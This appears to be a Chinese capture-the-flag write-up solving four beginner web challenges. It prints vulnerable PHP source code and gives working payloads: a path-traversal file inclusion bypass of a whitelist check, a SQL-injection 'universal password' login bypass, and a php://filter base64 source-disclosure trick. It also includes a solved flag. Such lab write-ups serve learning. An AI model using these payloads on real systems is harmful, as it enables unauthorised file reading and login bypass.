1.[HCTF 2018]WarmUp 2.[极客大挑战 2019]EasySQL 3.[极客大挑战 2019]Havefun 4.[ACTF2020 新生赛]Include
[HCTF 2018]WarmUp 开始是个滑稽图片,访问控制台得知source.php得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset($page ) || !is_string($page )) { echo "you can't see it" ; return false ; } if (in_array($page , $whitelist )) { return true ; } $_page = mb_substr( $page , 0, mb_strpos($page . '?' , '?' ) ); if (in_array($_page , $whitelist )) { return true ; } $_page = urldecode($page ); $_page = mb_substr( $_page , 0, mb_strpos($_page . '?' , '?' ) ); if (in_array($_page , $whitelist )) { return true ; } echo "you can't see it" ; return false ; } } if (! empty($_REQUEST ['file' ]) && is_string($_REQUEST ['file' ]) && emmm::checkFile($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
在source.php中得知下一步hint.php
1 flag not here, and flag in ffffllllaaaagggg
猜测flag在ffffllllaaaagggg文件夹中
对checkFile函数加以分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; //设置白名单 if (! isset($page ) || !is_string($page )) { //isset函数判断变量是否赋值,后一个函数判断是否为字符串,需满足两个条件 echo "you can't see it" ; return false ; } if (in_array($page , $whitelist )) { //匹配判断变量中是否含有白名单列表 return true ; } $_page = mb_substr( //返回page中第一个 '?' 的位置 $page , 0, mb_strpos($page . '?' , '?' ) ); if (in_array($_page , $whitelist )) { //检查是否白名单列表 return true ; } $_page = urldecode($page ); $_page = mb_substr( //返回_page中第一个'?' 的位置 $_page , 0, mb_strpos($_page . '?' , '?' ) ); if (in_array($_page , $whitelist )) { //检查是否白名单列表 return true ; } echo "you can't see it" ; return false ; } }
对source.php中flag产生的条件进行分析
1 2 3 4 5 6 7 8 9 10 if (! empty($_REQUEST ['file' ]) && is_string($_REQUEST ['file' ]) && emmm::checkFile($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
需要满足三个条件
1 2 3 file参数不为空 file参数是一个string类型 file参数能够通过checkFile的检验
有两次问号过滤和白名单检测, 再利用include函数的目录跳转 构造payload:source.php/?file=hint.php?../../../../../../ffffllllaaaagggg
可以想象第一次过滤得到source.php,通过白名单检查,第二次过滤得到hint.php,也通过白名单检查,最终跳转读取ffffllllaaaagggg文件得到flag
[极客大挑战 2019]EasySQL
直接使用万能密码 admin’ or ‘1’ = ‘1
得到flag flag{d2d41481-a732-42d3-b873-77a8a25f4ff7}
[极客大挑战 2019]Havefun 白给题 查看控制台,发现提示 传参后得到flag
[ACTF2020 新生赛]Include 源码发现有flag.php
猜测为php伪协议 payload为
1 ?file=php://filter/read =convert.base64-encode/resource=flag.php
知识点:
php://filter伪协议 1 php://filter/read =convert.base64-encode/resource=XXX.php
该伪协议读取源代码并进行base64输出,不然会当作php代码执行导致看不到源码内容